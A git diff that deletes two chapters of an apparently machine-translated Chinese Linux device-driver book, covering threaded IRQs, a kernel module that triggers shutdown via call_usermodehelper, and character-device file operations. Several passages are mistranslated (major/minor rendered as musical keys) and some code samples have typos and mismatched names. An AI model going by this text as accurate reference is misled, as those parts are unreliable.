queue initialization. "work_handler" is the call back that will be - * executed when our work is scheduled. - */ -INIT_WORK(my_work, work_handler); - -static irqreturn_t my_interrupt_handler(int irq, void *dev_id) -{ - uint32_t val; - struct my_data = dev_id; - - val = readl(my_data->reg_base + REG_OFFSET); - if (val == 0xFFCD45EE)) { - my_data->done = true; - wake_up_interruptible(&my_wq); - } else { - schedule_work(&my_work); - } - - return IRQ_HANDLED; -}; -``` - -在前面的示例中,我们使用了等待队列或工作队列来唤醒等待我们的可能正在休眠的进程,或者根据寄存器的值来安排工作。我们没有共享的数据或资源,所以没有必要禁用所有其他 IRQ(`spin_lock_irq_disable`)。 - -# 作为下半部分的软 IRQ - -正如本章开头所说,我们将不讨论 softirq。无论你觉得哪里需要使用 softirqs,小任务就足够了。不管怎样,让我们谈谈他们的违约。 - -Softirqs 在软件中断上下文中运行,抢占被禁用,保持 CPU 直到它们完成。Softirq 应该快;否则,它们可能会降低系统速度。当由于任何原因,软 irq 阻止内核调度其他任务时,任何新的输入软 irq 将由运行在进程上下文中的 **ksoftirqd** 线程处理。 - -# 线程 IRQ - -线程化 IRQ 的主要目标是将中断禁用所花费的时间降至最低。对于线程化的 IRQ,注册中断处理程序的方式有点简化。你甚至不需要自己安排下半部分。核心为我们做了这些。然后,下半部分在专用内核线程中执行。我们不再使用`request_irq()`,而是`request_threaded_irq()`: - -```sh -int request_threaded_irq(unsigned int irq, irq_handler_t handler,\ - irq_handler_t thread_fn, \ - unsigned long irqflags, \ - const char *devname, void *dev_id) - -``` - -`request_threaded_irq()`函数在其参数中接受两个函数: - -* **@handler 功能**:这个功能和`request_irq()`注册的功能一样。它代表上半部分的函数,在原子上下文(或硬-IRQ)中运行。如果它能更快地处理中断,让你完全摆脱下半部分,它应该会返回`IRQ_HANDLED`。但是,如果中断处理需要超过 100 s,如前所述,您应该使用下半部分。在这种情况下,它应该返回`IRQ_WAKE_THREAD`,这将导致调度必须已经提供的`thread_fn`功能。 -* **@thread_fn 功能**:这代表下半部分,就像你在上半部分计划的那样。当硬-IRQ 处理器(处理器功能)功能返回`IRQ_WAKE_THREAD`时,与该下半部分相关联的 kthread 将被调度,在运行 ktread 时调用`thread_fn`功能。完成后,`thread_fn`功能必须返回`IRQ_HANDLED`。执行后,kthread 将不会被再次重新调度,直到再次触发 IRQ 并且硬 IRQ 返回`IRQ_WAKE_THREAD`。 - -无论您在哪里使用工作队列来调度下半部分,都可以使用线程化的 IRQ。`handler`和`thread_fn`必须定义,以便有一个适当的线程化 IRQ。如果`handler`是`NULL`和`thread_fn != NULL`,内核将安装默认的硬-IRQ 处理程序(见下文),这将简单地返回`IRQ_WAKE_THREAD`来调度下半部分。`handler`总是在中断上下文中被调用,无论它是由您自己提供的还是由内核默认提供的: - -```sh -/* - * Default primary interrupt handler for threaded interrupts. Is - * assigned as primary handler when request_threaded_irq is called - * with handler == NULL. Useful for oneshot interrupts. - */ -static irqreturn_t irq_default_primary_handler(int irq, void *dev_id) -{ - return IRQ_WAKE_THREAD; -} - -request_threaded_irq(unsigned int irq, irq_handler_t handler, - irq_handler_t thread_fn, unsigned long irqflags, - const char *devname, void *dev_id) -{ - [...] - if (!handler) { - if (!thread_fn) - return -EINVAL; - handler = irq_default_primary_handler; - } - [...] -} -EXPORT_SYMBOL(request_threaded_irq); - -``` - -对于线程化的 IRQ,处理程序的定义不会改变,但是注册的方式会有一点改变。 - -```sh -request_irq(unsigned int irq, irq_handler_t handler, \ - unsigned long flags, const char *name, void *dev) -{ - return request_threaded_irq(irq, handler, NULL, flags, \ - name, dev); -} -``` - -# 螺纹下半部 - -下面的简单摘录演示了如何实现线程化的下半部分机制: - -```sh -static irqreturn_t pcf8574_kp_irq_handler(int irq, void *dev_id) -{ - struct custom_data *lp = dev_id; - unsigned char nextstate = read_state(lp); - - if (lp->laststate != nextstate) { - int key_down = nextstate < ARRAY_SIZE(lp->btncode); - unsigned short keycode = key_down ? - p->btncode[nextstate] : lp->btncode[lp->laststate]; - - input_report_key(lp->idev, keycode, key_down); - input_sync(lp->idev); - lp->laststate = nextstate; - } - return IRQ_HANDLED; -} - -static int pcf8574_kp_probe(struct i2c_client *client, \ - const struct i2c_device_id *id) -{ - struct custom_data *lp = init_custom_data(); - [...] - /* - * @handler is NULL and @thread_fn != NULL - * the default primary handler is installed, which will - * return IRQ_WAKE_THREAD, that will schedule the thread - * asociated to the bottom half. the bottom half must then - * return IRQ_HANDLED when finished - */ - ret = request_threaded_irq(client->irq, NULL, \ - pcf8574_kp_irq_handler, \ - IRQF_TRIGGER_LOW | IRQF_ONESHOT, \ - DRV_NAME, lp); - if (ret) { - dev_err(&client->dev, "IRQ %d is not free\n", \ - client->irq); - goto fail_free_device; - } - ret = input_register_device(idev); - [...] -} -``` - -When an interrupt handler is executed, the serviced IRQ is always disabled on all CPUs, and re-enabled when the hard-IRQ (top-half) finishes. But if for any reason you need the IRQ line not to be re-enabled after the top half, and to remain disabled until the threaded handler has been run, you should request the threaded IRQ with the flag `IRQF_ONESHOT` enabled (by just doing an OR operation as shown previously). The IRQ line will then be re-enabled after the bottom half has finished. - -# 从内核调用用户空间应用 - -用户空间应用大部分时间是由其他应用从用户空间内部调用的。在不深入细节的情况下,让我们看一个例子: - -```sh -#include -#include -#include /* for work queue */ -#include - -static struct delayed_work initiate_shutdown_work; -static void delayed_shutdown( void ) -{ - char *cmd = "/sbin/shutdown"; - char *argv[] = { - cmd, - "-h", - "now", - NULL, - }; - char *envp[] = { - "HOME=/", - "PATH=/sbin:/bin:/usr/sbin:/usr/bin", - NULL, - }; - - call_usermodehelper(cmd, argv, envp, 0); -} - -static int __init my_shutdown_init( void ) -{ - schedule_delayed_work(&delayed_shutdown, msecs_to_jiffies(200)); - return 0; -} - -static void __exit my_shutdown_exit( void ) -{ - return; -} - -module_init( my_shutdown_init ); -module_exit( my_shutdown_exit ); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu", ); -MODULE_DESCRIPTION("Simple module that trigger a delayed shut down"); -``` - -在前面的例子中,使用的应用编程接口(`call_usermodehelper`)是用户模式助手应用编程接口的一部分,所有功能都在`kernel/kmod.c`中定义。它的使用相当简单;`kmod.c`只要看看里面就会给你一个想法。您可能想知道这个应用编程接口是为什么而定义的。它由内核使用,例如,用于模块(取消)加载和 cgroups 管理。 - -# 摘要 - -在本章中,我们讨论了启动驱动开发的基本要素,介绍了驱动中经常使用的每种机制。这一章非常重要,因为它讨论了本书其他章节所依赖的主题。下一章,例如,处理字符设备,将使用本章中讨论的一些元素。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/04.md b/docs/linux-device-driver-dev/04.md deleted file mode 100644 index ca7aeb0b..00000000 --- a/docs/linux-device-driver-dev/04.md +++ /dev/null @@ -1,923 +0,0 @@ -# 四、字符设备驱动 - -字符设备通过字符以流的方式(一个字符接一个字符)向用户应用传输数据,就像串行端口一样。字符设备驱动通过`/dev`目录中的特殊文件公开设备的属性和功能,可以用来在设备和用户应用之间交换数据,还允许您控制真实的物理设备。这是 Linux 的基本概念,说*一切都是文件*。字符设备驱动代表内核源代码中最基本的设备驱动。字符设备在内核中表示为`struct cdev`的实例,在`include/linux/cdev.h`中定义: - -```sh -struct cdev { - struct kobject kobj; - struct module *owner; - const struct file_operations *ops; - struct list_head list; - dev_t dev; - unsigned int count; -}; -``` - -本章将详细介绍字符设备驱动的特性,解释它们如何创建、识别设备并向系统注册设备,还将更好地概述设备文件方法,这些方法是内核向用户空间公开设备功能的方法,可通过使用文件相关的系统调用(`read`、`write`、`select`、`open`、`close`等)来访问,这些方法在`struct file_operations`结构中有所描述,您以前肯定听说过。 - -# 大调和小调背后的概念 - -字符设备填充在`/dev`目录中。请注意,它们不仅仅是该目录中的文件。一个字符设备文件可以通过它的类型来识别,我们可以通过命令`ls -l`来显示它。主要和次要识别设备并将其与驱动联系起来。让我们看看它是如何工作的,通过列出`*/dev*`目录(`ls -l /dev`)的内容: - -```sh -[...] -drwxr-xr-x 2 root root 160 Mar 21 08:57 input -crw-r----- 1 root kmem 1, 2 Mar 21 08:57 kmem -lrwxrwxrwx 1 root root 28 Mar 21 08:57 log -> /run/systemd/journal/dev-log -crw-rw---- 1 root disk 10, 237 Mar 21 08:57 loop-control -brw-rw---- 1 root disk 7, 0 Mar 21 08:57 loop0 -brw-rw---- 1 root disk 7, 1 Mar 21 08:57 loop1 -brw-rw---- 1 root disk 7, 2 Mar 21 08:57 loop2 -brw-rw---- 1 root disk 7, 3 Mar 21 08:57 loop3 -``` - -给定前面的摘录,第一列的第一个字符标识文件类型。可能的值有: - -* `c`:这是字符设备文件 -* `b`:这是块设备文件 -* `l`:这是符号链接 -* `d`:这是目录 -* `s`:这是插座用的 -* `p`:这是给命名管道的 - -对于`b`和`c`文件类型,日期前的第五列和第六列尊重< `X, Y` >模式。`X`代表大调,`Y`代表小调。比如第三行是< `1, 2` >,最后一行是< `7, 3` >。这是从用户空间识别字符设备文件及其主要和次要的经典方法之一。 - -内核在`dev_t`类型变量中保存标识设备的数字,简单来说就是`u32` (32 位无符号长)。大调仅用 12 位来表示,而小调用剩下的 20 位来编码。 - -在`include/linux/kdev_t.h`中可以看到,给定一个`dev_t`类型的变量,可能需要提取小调或大调。内核为此提供了一个宏: - -```sh -MAJOR(dev_t dev); -MINOR(dev_t dev); -``` - -另一方面,你可能有一个辅修和一个专业,需要建一个`dev_t`。您应该使用的宏是`MKDEV(int major, int minor);`: - -```sh -#define MINORBITS 20 -#define MINORMASK ((1U << MINORBITS) - 1) -#define MAJOR(dev) ((unsigned int) ((dev) >> MINORBITS)) -#define MINOR(dev) ((unsigned int) ((dev) & MINORMASK)) -#define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi)) -``` - -该设备注册有标识该设备的主要编号和次要编号,次要编号可以用作设备本地列表的数组索引,因为同一驱动的一个实例可以处理几个设备,而不同的驱动可以处理相同类型的不同设备。 - -# 设备号分配和释放 - -设备号标识整个系统中的设备文件。这意味着,有两种方法可以分配这些设备号(实际上是主要设备号和次要设备号): - -* **静态**:使用`register_chrdev_region()`功能猜测另一个司机还没有使用的专业。人们应该尽可能避免使用这个。它的原型是这样的: - -```sh - int register_chrdev_region(dev_t first, unsigned int count, \ - char *name); -``` - -该方法成功时返回`0`,失败时返回负错误代码。`first`由我们需要的主数字和所需范围的第一个次数字组成。应该用`MKDEV(ma,mi)`。`count`是要求的连续设备号数,`name`应该是关联设备或驱动的名称。 - -* **动态**:让内核为我们做工作,使用`alloc_chrdev_region()`功能。这是获得有效设备号的推荐方法。其原型如下: - -```sh -int alloc_chrdev_region(dev_t *dev, unsigned int firstminor, \ - unsigned int count, char *name); -``` - -该方法成功时返回`0`,失败时返回负错误代码。`dev`是 ony 输出参数。它代表内核分配的第一个数字。`firstminor`是未成年人号码请求范围的第一个,`count`是一个人需要的未成年人号码,`name`应该是关联设备或驱动的名称。 - -两者的区别在于,有了前者,就应该提前知道我们需要什么数字。这就是注册:一个告诉内核我们想要什么设备号。这可能用于教学目的,只要驱动的唯一用户是您,它就可以工作。当涉及到在另一台机器上加载驱动时,不能保证所选的号码在该机器上是免费的,这将导致冲突和麻烦。第二种方法更干净、更安全,因为内核负责为我们猜测正确的数字。我们甚至不必关心将模块加载到另一台机器上会有什么行为,因为内核会相应地进行调整。 - -无论如何,前面的函数一般不会直接从驱动中调用,而是被驱动所依赖的框架(IIO 框架、输入框架、RTC 等)通过专用的 API 屏蔽。这些框架都将在本书的后续章节中讨论。 - -# 设备文件操作介绍 - -可以对文件执行的操作取决于管理这些文件的驱动。这样的操作在内核中被定义为`struct file_operations`的实例。`struct file_operations`公开了一组回调函数,用于处理文件上的任何用户空间系统调用。例如,如果您希望用户能够在代表我们设备的文件上执行`write`,则必须实现与该`write`功能对应的回调,并将其添加到将绑定到您设备的`struct file_operations`中。让我们填写一个文件操作结构: - -```sh -struct file_operations { - struct module *owner; - loff_t (*llseek) (struct file *, loff_t, int); - ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); - ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); - unsigned int (*poll) (struct file *, struct poll_table_struct *); - int (*mmap) (struct file *, struct vm_area_struct *); - int (*open) (struct inode *, struct file *); - long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); - int (*release) (struct inode *, struct file *); - int (*fsync) (struct file *, loff_t, loff_t, int datasync); - int (*fasync) (int, struct file *, int); - int (*lock) (struct file *, int, struct file_lock *); - int (*flock) (struct file *, int, struct file_lock *); - [...] -}; -``` - -前面的摘录只列出了结构的重要方法,尤其是与本书需求相关的方法。可以在内核源代码的`include/linux/fs.h`中找到完整的描述。这些回调中的每一个都与系统调用相关联,并且没有一个是强制的。当用户代码在给定文件上调用与文件相关的系统调用时,内核会寻找负责该文件的驱动(尤其是创建该文件的驱动),定位其`struct file_operations`结构,并检查是否定义了与系统调用匹配的方法。如果是,它只是运行它。如果不是,它将返回一个错误代码,该代码因系统调用而异。例如,未定义的`(*mmap)`方法将返回`-ENODEV`给用户,而未定义的`(*write)`方法将返回`-EINVAL`。 - -# 内核中的文件表示 - -内核将文件描述为结构索引节点(不是结构文件)结构的实例,在`include/linux/fs.h`中定义: - -```sh -struct inode { - [...] - struct pipe_inode_info *i_pipe; /* Set and used if this is a - *linux kernel pipe */ - struct block_device *i_bdev; /* Set and used if this is a - * a block device */ - struct cdev *i_cdev; /* Set and used if this is a - * character device */ - [...] -} -``` - -`struct inode`是一个文件系统数据结构,保存着关于文件(无论其类型、字符、块、管道等等)或目录(是的!!从内核的角度来看,目录是指磁盘上指向其他文件的文件。 - -`struct file`结构(也在`include/linux/fs.h`中定义)实际上是一个更高级别的文件描述,它代表内核中的一个打开的文件,并且依赖于较低的`struct inode`数据结构: - -```sh -struct file { - [...] - struct path f_path; /* Path to the file */ - struct inode *f_inode; /* inode associated to this file */ - const struct file_operations *f_op;/* operations that can be - * performed on this file - */ - loff_t f_pos; /* Position of the cursor in - * this file */ - /* needed for tty driver, and maybe others */ - void *private_data; /* private data that driver can set - * in order to share some data between file - * operations. This can point to any data - * structure. - */ -[...] -} -``` - -`struct inode`和`struct file`的区别在于索引节点不会跟踪文件中的当前位置或当前模式。它只包含帮助操作系统找到底层文件结构内容的内容(管道、目录、常规磁盘文件、块/字符设备文件等)。另一方面,`struct file`被用作通用结构(它实际上持有一个指向`struct inode`结构的指针),该结构表示并打开文件,并提供一组与可以在底层文件结构上执行的方法相关的功能。这样的方法有:`open`、`write`、`seek`、`read`、`select`等等。所有这些都强化了 UNIX 系统的理念,即一切都是文件。 - -换句话说,一个`struct inode`代表内核中的一个文件,一个`struct file`描述它实际打开的时间。可能有不同的文件描述符表示同一文件打开了几次,但这些描述符将指向同一个信息节点。 - -# 分配和注册字符设备 - -字符设备在内核中表示为`struct cdev`的实例。编写字符设备驱动时,您的目标是最终创建并注册一个与`struct file_operations`关联的结构实例,公开用户空间可以在设备上执行的一组操作(功能)。为了实现这一目标,我们必须采取以下步骤: - -1. 用`alloc_chrdev_region()`保留一个专业和一系列未成年人。 -2. 使用在`/sys/class/`中可见的`class_create(),`为您的设备创建一个类。 -3. 设置一个`struct file_operation`(给`cdev_init`),对于每个需要创建的设备,调用`cdev_init()`和`cdev_add()`注册该设备。 -4. 然后`create a device_create()`为每个设备,加上一个专有名称。这将导致您的设备被创建在`/dev`目录中: - -```sh -#define EEP_NBANK 8 -#define EEP_DEVICE_NAME "eep-mem" -#define EEP_CLASS "eep-class" - -struct class *eep_class; -struct cdev eep_cdev[EEP_NBANK]; -dev_t dev_num; - -static int __init my_init(void) -{ - int i; - dev_t curr_dev; - - /* Request the kernel for EEP_NBANK devices */ - alloc_chrdev_region(&dev_num, 0, EEP_NBANK, EEP_DEVICE_NAME); - - /* Let's create our device's class, visible in /sys/class */ - eep_class = class_create(THIS_MODULE, EEP_CLASS); - - /* Each eeprom bank represented as a char device (cdev) */ - for (i = 0; i < EEP_NBANK; i++) { - - /* Tie file_operations to the cdev */ - cdev_init(&my_cdev[i], &eep_fops); - eep_cdev[i].owner = THIS_MODULE; - - /* Device number to use to add cdev to the core */ - curr_dev = MKDEV(MAJOR(dev_num), MINOR(dev_num) + i); - - /* Now make the device live for the users to access */ - cdev_add(&eep_cdev[i], curr_dev, 1); - - /* create a device node each device /dev/eep-mem0, /dev/eep-mem1, - * With our class used here, devices can also be viewed under - * /sys/class/eep-class. - */ - device_create(eep_class, - NULL, /* no parent device */ - curr_dev, - NULL, /* no additional data */ - EEP_DEVICE_NAME "%d", i); /* eep-mem[0-7] */ - } - return 0; -} -``` - -# 写入文件操作 - -在介绍了前面的文件操作之后,现在是实现它们的时候了,以便增强驱动的能力,并将设备的方法展示给用户空间(通过系统调用或过程)。每种方法都有其特殊性,我们将在本节中重点介绍。 - -# 在内核空间和用户空间之间交换数据 - -本节不描述任何驱动文件操作,而是介绍一些可以用来编写这些驱动方法的内核工具。驱动的`write()`方法包括从用户空间读取数据到内核空间,然后从内核处理该数据。例如,这样的处理可能类似于*将数据推送到设备。另一方面,驱动的`read()`方法包括将数据从内核复制到用户空间。这两种方法都引入了新的元素,我们需要在跳到它们各自的步骤之前进行讨论。第一个是`__user`。`__user`是一个由 sparse(内核用来查找可能的编码错误的语义检查器)使用的 cookie,用于让开发人员知道他实际上将要不正确地使用一个不可信的指针(或者一个在当前虚拟地址映射中可能无效的指针),并且他不应该取消引用,而是使用专用的内核函数来访问这个指针指向的内存。* - -这允许我们引入不同的内核函数来访问这样的内存,无论是读还是写。分别是`copy_from_user()`和`copy_from_user()`将缓冲区从用户空间复制到内核空间,反之亦然,将缓冲区从内核复制到用户空间: - -```sh -unsigned long copy_from_user(void *to, const void __user *from, - unsigned long n) -unsigned long copy_to_user(void __user *to, const void *from, - unsigned long n) -``` - -在这两种情况下,前缀为`__user`的指针指向用户空间(不可信)内存。`n`表示要复制的字节数。`from`代表源地址,`to`代表目的地址。每一个都返回无法复制的字节数。成功的话,回报应该是`0`。 - -请注意,使用`copy_to_user()`,如果某些数据无法复制,该函数将使用零字节将复制的数据填充到请求的大小。 - -# 单值副本 - -当涉及到复制像`char`和`int`这样的单个简单变量,而不是像结构或数组这样的更大的数据类型时,内核提供了专用的宏来快速执行所需的操作。这些宏是`put_user(x, ptr)`和`get_used(x, ptr)`,解释如下: - -* `put_user(x, ptr);`:这个宏将一个变量从内核空间复制到用户空间。`x`表示复制到用户空间的值,`ptr`是用户空间中的目的地址。成功时宏返回`0`,错误时返回`-EFAULT`。`x`必须可分配给取消引用`ptr`的结果。换句话说,它们必须具有(或指向)相同的类型。 -* `get_user(x, ptr);`:该宏将一个变量从用户空间复制到内核空间,成功返回`0`,错误返回`-EFAULT`。请注意`x`设置为`0`出错。`x`代表存储结果的内核变量,`ptr`是用户空间中的源地址。取消引用`ptr`的结果必须分配给没有强制转换的`x`。猜猜是什么意思。 - -# 开放式方法 - -`open`是每次有人打开你设备的文件时调用的方法。如果未定义此方法,设备打开将始终成功。人们通常使用这种方法来执行设备和数据结构初始化,并在出现问题时返回一个负错误代码,或`0`。`open`方法的原型定义如下: - -```sh -int (*open)(struct inode *inode, struct file *filp); -``` - -# 每个设备的数据 - -对于在您的字符设备上执行的每个`open`,回调函数将被赋予一个`struct inode`作为参数,这是文件的内核低级表示。该`struct inode`结构有一个名为`i_cdev`的字段,该字段指向我们在`init`功能中分配的`cdev`。通过在我们的设备特定数据中嵌入`struct cdev`,如下例中的`struct pcf2127`,我们将能够使用`container_of`宏获得该特定数据的指针。下面是一个`open`方法示例。 - -以下是我们的数据结构: - -```sh -struct pcf2127 { - struct cdev cdev; - unsigned char *sram_data; - struct i2c_client *client; - int sram_size; - [...] -}; -``` - -给定这个数据结构,`open`方法看起来像这样: - -```sh -static unsigned int sram_major = 0; -static struct class *sram_class = NULL; - -static int sram_open(struct inode *inode, struct file *filp) -{ - unsigned int maj = imajor(inode); - unsigned int min = iminor(inode); - - struct pcf2127 *pcf = NULL; - pcf = container_of(inode->i_cdev, struct pcf2127, cdev); - pcf->sram_size = SRAM_SIZE; - - if (maj != sram_major || min < 0 ){ - pr_err ("device not found\n"); - return -ENODEV; /* No such device */ - } - - /* prepare the buffer if the device is opened for the first time */ - if (pcf->sram_data == NULL) { - pcf->sram_data = kzalloc(pcf->sram_size, GFP_KERNEL); - if (pcf->sram_data == NULL) { - pr_err("Open: memory allocation failed\n"); - return -ENOMEM; - } - } - filp->private_data = pcf; - return 0; -} -``` - -# 释放方法 - -当设备关闭时调用`release`方法,与`open`方法相反。然后,您必须撤消在打开的任务中所做的一切。你要做的大致是: - -1. 释放在`open()`步骤中分配的任何私有内存。 -2. 关闭设备(如果支持),并在最后一次关闭时丢弃所有缓冲区(如果设备支持多次打开,或者如果驱动一次可以处理多个设备)。 - -以下是一个`release`函数的摘录: - -```sh -static int sram_release(struct inode *inode, struct file *filp) -{ - struct pcf2127 *pcf = NULL; - pcf = container_of(inode->i_cdev, struct pcf2127, cdev); - - mutex_lock(&device_list_lock); - filp->private_data = NULL; - - /* last close? */ - pcf2127->users--; - if (!pcf2127->users) { - kfree(tx_buffer); - kfree(rx_buffer); - tx_buffer = NULL; - rx_buffer = NULL; - - [...] - - if (any_global_struct) - kfree(any_global_struct); - } - mutex_unlock(&device_list_lock); - - return 0; -} -``` - -# 写入方法 - -`write()`方法用于向设备发送数据;每当用户应用调用设备文件上的`write`函数时,就会调用内核实现。其原型如下: - -```sh -ssize_t(*write)(struct file *filp, const char __user *buf, size_t count, loff_t *pos); -``` - -* 返回值是写入的字节数(大小) -* `*buf`表示来自用户空间的数据缓冲区 -* `count`是请求传输的大小 -* `*pos`表示数据写入文件的起始位置 - -# 写作步骤 - -以下步骤没有描述任何标准或通用的方法来实现驾驶员的`write()`方法。它们只是概述了在这种方法中可以执行什么类型的操作。 - -1. 检查来自用户空间的错误或无效请求。仅当设备暴露其内存(eeprom、I/O 内存等)时,此步骤才相关,这些内存可能有大小限制: - -```sh -/* if trying to Write beyond the end of the file, return error. - * "filesize" here corresponds to the size of the device memory (if any) - */ -if ( *pos >= filesize ) return -EINVAL; -``` - -2. 调整剩余字节的`count`,以免超出文件大小。该步骤也不是强制性的,在与步骤 1 相同的条件下也是相关的: - -```sh -/* filesize coerresponds to the size of device memory */ -if (*pos + count > filesize) - count = filesize - *pos; -``` - -3. 找到您要开始书写的位置。只有当设备具有存储器时,该步骤才是相关的,其中`write()`方法应该写入给定的数据。作为步骤 2 和 3,该步骤不是强制性的: - -```sh -/* convert pos into valid address */ -void *from = pos_to_address( *pos ); -``` - -4. 从用户空间复制数据,并将其写入适当的内核空间: - -```sh -if (copy_from_user(dev->buffer, buf, count) != 0){ - retval = -EFAULT; - goto out; -} -/* now move data from dev->buffer to physical device */ -``` - -5. 写入物理设备,失败时返回错误: - -```sh -write_error = device_write(dev->buffer, count); -if ( write_error ) - return -EFAULT; -``` - -6. 根据写入的字节数,增加光标在文件中的当前位置。最后,返回复制的字节数: - -```sh -*pos += count; -Return count; -``` - -以下是`write`方法的一个例子。这再次旨在给出一个概述: - -```sh -ssize_t -eeprom_write(struct file *filp, const char __user *buf, size_t count, - loff_t *f_pos) -{ - struct eeprom_dev *eep = filp->private_data; - ssize_t retval = 0; - - /* step (1) */ - if (*f_pos >= eep->part_size) - /* Writing beyond the end of a partition is not allowed. */ - return -EINVAL; - - /* step (2) */ - if (*pos + count > eep->part_size) - count = eep->part_size - *pos; - - /* step (3) */ - int part_origin = PART_SIZE * eep->part_index; - int register_address = part_origin + *pos; - - /* step(4) */ - /* Copy data from user space to kernel space */ - if (copy_from_user(eep->data, buf, count) != 0) - return -EFAULT; - - /* step (5) */ - /* perform the write to the device */ - if (write_to_device(register_address, buff, count) < 0){ - pr_err("ee24lc512: i2c_transfer failed\n"); - return -EFAULT; - } - - /* step (6) */ - *f_pos += count; - return count; -} -``` - -# 读取方法 - -`read()`方法的原型如下: - -```sh -ssize_t (*read) (struct file *filp, char __user *buf, size_t count, loff_t *pos); -``` - -返回值是读取的大小。这里描述了该方法的其余元素: - -* `*buf`是我们从用户空间接收的缓冲区 -* `count`是请求传输的大小(用户缓冲区的大小) -* `*pos`表示文件中数据读取的起始位置 - -# 阅读步骤 - -1. 防止读取超过文件大小,并返回文件结尾: - -```sh -if (*pos >= filesize) - return 0; /* 0 means EOF */ -``` - -2. 读取的字节数不能超过文件大小。适当调整`count`: - -```sh -if (*pos + count > filesize) - count = filesize - (*pos); -``` - -3. 找到开始阅读的位置: - -```sh -void *from = pos_to_address (*pos); /* convert pos into valid address */ -``` - -4. 将数据复制到用户空间缓冲区,失败时返回错误: - -```sh -sent = copy_to_user(buf, from, count); -if (sent) - return -EFAULT; -``` - -5. 根据读取的字节数推进文件的当前位置,并返回复制的字节数: - -```sh -*pos += count; -Return count; -``` - -下面是一个驱动`read()`文件操作的例子,旨在概述在那里可以做什么: - -```sh -ssize_t eep_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) -{ - struct eeprom_dev *eep = filp->private_data; - - if (*f_pos >= EEP_SIZE) /* EOF */ - return 0; - - if (*f_pos + count > EEP_SIZE) - count = EEP_SIZE - *f_pos; - - /* Find location of next data bytes */ - int part_origin = PART_SIZE * eep->part_index; - int eep_reg_addr_start = part_origin + *pos; - - /* perform the read from the device */ - if (read_from_device(eep_reg_addr_start, buff, count) < 0){ - pr_err("ee24lc512: i2c_transfer failed\n"); - return -EFAULT; - } - - /* copy from kernel to user space */ - if(copy_to_user(buf, dev->data, count) != 0) - return -EIO; - - *f_pos += count; - return count; -} -``` - -# llseek 方法 - -当在文件中移动光标位置时,调用`llseek`函数。这个方法在用户空间的切入点是`lseek()`。可以参考手册页,以便从用户空间打印任一方法的完整描述:`man llseek`和`man lseek`。它的原型如下所示: - -```sh -loff_t(*llseek) (structfile *filp, loff_t offset, int whence); -``` - -* 返回值是文件中的新位置 -* `loff_t`是相对于当前文件位置的偏移量,它定义了它将被改变多少 -* `whence`定义从哪里寻找。可能的值有: - * `SEEK_SET`:这将光标置于相对于文件开头的位置 - * `SEEK_CUR`:这将光标置于相对于当前文件位置的位置 - * `SEEK_END`:这将光标调整到相对于文件结尾的位置 - -# 寻找的步骤 - -1. 使用`switch`语句检查每个可能的`whence`情况,因为它们是有限的,并相应地调整`newpos`: - -```sh -switch( whence ){ - case SEEK_SET:/* relative from the beginning of file */ - newpos = offset; /* offset become the new position */ - break; - case SEEK_CUR: /* relative to current file position */ - newpos = file->f_pos + offset; /* just add offset to the current position */ - break; - case SEEK_END: /* relative to end of file */ - newpos = filesize + offset; - break; - default: - return -EINVAL; -} -``` - -2. 检查`newpos`是否有效: - -```sh -if ( newpos < 0 ) - return -EINVAL; -``` - -3. 用新位置更新`f_pos`: - -```sh -filp->f_pos = newpos; -``` - -4. 返回新的文件指针位置: - -```sh -return newpos; -``` - -下面是一个用户程序的例子,它连续地读取和查找一个文件。底层驱动将执行`llseek()`文件操作条目: - -```sh -#include -#include -#include -#include - -#define CHAR_DEVICE "toto.txt" - -int main(int argc, char **argv) -{ - int fd= 0; - char buf[20]; - - if ((fd = open(CHAR_DEVICE, O_RDONLY)) < -1) - return 1; - - /* Read 20 bytes */ - if (read(fd, buf, 20) != 20) - return 1; - printf("%s\n", buf); - - /* Move the cursor to 10 time, relative to its actual position */ - if (lseek(fd, 10, SEEK_CUR) < 0) - return 1; - if (read(fd, buf, 20) != 20) - return 1; - printf("%s\n",buf); - - /* Move the cursor ten time, relative from the beginig of the file */ - if (lseek(fd, 7, SEEK_SET) < 0) - return 1; - if (read(fd, buf, 20) != 20) - return 1; - printf("%s\n",buf); - - close(fd); - return 0; -} -``` - -该代码产生以下输出: - -```sh -jma@jma:~/work/tutos/sources$ cat toto.txt -Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. -jma@jma:~/work/tutos/sources$ ./seek -Lorem ipsum dolor si -nsectetur adipiscing -psum dolor sit amet, -jma@jma:~/work/tutos/sources$ -``` - -# 投票方法 - -如果需要实现被动等待(在检测字符设备时不浪费 CPU 周期),则必须实现`poll()`功能,每当用户空间程序对与设备相关联的文件执行`select()`或`poll()`系统调用时,就会调用该功能: - -```sh -unsigned int (*poll) (struct file *, struct poll_table_struct *); -``` - -这个方法的核心功能是`poll_wait()`,在``中定义,这是一个应该包含在驱动代码中的头: - -```sh -void poll_wait(struct file * filp, wait_queue_head_t * wait_address, -poll_table *p) -``` - -`poll_wait()`根据登记到作为第三参数给出的`struct poll_table`结构中的事件,将与`struct file`结构相关联的设备(作为第一参数给出)添加到能够唤醒进程(在作为第二参数给出的`struct wait_queue_head_t`结构中已经被置于休眠状态)的设备列表中。用户进程可以运行`poll()`、`select()`或`epoll()`系统调用,将一组文件添加到需要等待的列表中,以便了解相关(如果有)设备的就绪情况。内核随后将调用与每个设备文件相关的驱动的`poll`条目。然后,每个驱动的`poll`方法应该调用`poll_wait()`,以便向内核注册进程需要被通知的事件,使该进程休眠,直到这些事件之一发生,并将驱动注册为可以唤醒该进程的事件之一。通常的方法是根据`select()`(或`poll()`)系统调用支持的事件,为每个事件类型使用一个等待队列(一个用于可读性,另一个用于可写性,如果需要,最终还有一个用于异常)。 - -如果有数据要读取(此时,选择或轮询被调用),如果设备是可写的(此时,选择或轮询也被调用),则`(*poll)`文件操作的返回值必须有`POLLIN | POLLRDNORM`设置,如果没有新数据并且设备还不可写,则`0`设置。在下面的示例中,我们假设设备同时支持阻止读取和写入。当然,可以只实现其中的一个。如果驱动没有定义此方法,设备将被视为始终可读可写,以便`poll()`或`select()`系统调用立即返回。 - -# 投票步骤 - -当执行`poll`功能时,`read`或`write`方法可能会改变: - -1. 